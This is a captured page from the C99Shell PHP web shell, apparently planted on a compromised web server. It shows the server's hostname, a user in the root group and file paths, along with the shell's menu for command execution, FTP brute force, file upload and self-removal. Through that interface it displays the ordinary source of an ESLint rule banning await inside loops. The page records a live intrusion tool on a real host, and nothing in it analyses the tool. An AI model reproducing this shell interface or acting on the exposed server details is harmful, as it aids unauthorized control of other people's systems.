!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/rentals.picotech.app/public_html/node_modules/eslint/lib/rules/   drwxr-xr-x
Free 23.62 GB of 117.98 GB (20.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     no-await-in-loop.js (2.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/**
 * @fileoverview Rule to disallow uses of await inside of loops.
 * @author Nat Mote (nmote)
 */
"use strict";

/**
 * Check whether it should stop traversing ancestors at the given node.
 * @param {ASTNode} node A node to check.
 * @returns {boolean} `true` if it should stop traversing.
 */
function isBoundary(node) {
	const t = node.type;

	return (
		t === "FunctionDeclaration" ||
		t === "FunctionExpression" ||
		t === "ArrowFunctionExpression" ||
		/*
		 * Don't report the await expressions on for-await-of loop since it's
		 * asynchronous iteration intentionally.
		 */
		(t === "ForOfStatement" && node.await === true)
	);
}

/**
 * Check whether the given node is in loop.
 * @param {ASTNode} node A node to check.
 * @param {ASTNode} parent A parent node to check.
 * @returns {boolean} `true` if the node is in loop.
 */
function isLooped(node, parent) {
	switch (parent.type) {
		case "ForStatement":
			return (
				node === parent.test ||
				node === parent.update ||
				node === parent.body
			);

		case "ForOfStatement":
		case "ForInStatement":
			return (
				node === parent.body ||
				(node === parent.left && node.kind === "await using")
			);

		case "WhileStatement":
		case "DoWhileStatement":
			return node === parent.test || node === parent.body;

		default:
			return false;
	}
}

/** @type {import('../types').Rule.RuleModule} */
module.exports = {
	meta: {
		type: "problem",

		docs: {
			description: "Disallow `await` inside of loops",
			recommended: false,
			url: "https://eslint.org/docs/latest/rules/no-await-in-loop",
		},

		schema: [],

		messages: {
			unexpectedAwait: "Unexpected `await` inside a loop.",
		},
	},
	create(context) {
		/**
		 * Validate an await expression.
		 * @param {ASTNode} awaitNode An AwaitExpression or ForOfStatement node to validate.
		 * @returns {void}
		 */
		function validate(awaitNode) {
			if (
				awaitNode.type === "VariableDeclaration" &&
				awaitNode.kind !== "await using"
			) {
				return;
			}

			if (awaitNode.type === "ForOfStatement" && !awaitNode.await) {
				return;
			}

			let node = awaitNode;
			let parent = node.parent;

			while (parent && !isBoundary(parent)) {
				if (isLooped(node, parent)) {
					context.report({
						node: awaitNode,
						messageId: "unexpectedAwait",
					});
					return;
				}
				node = parent;
				parent = parent.parent;
			}
		}

		return {
			AwaitExpression: validate,
			ForOfStatement: validate,
			VariableDeclaration: validate,
		};
	},
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--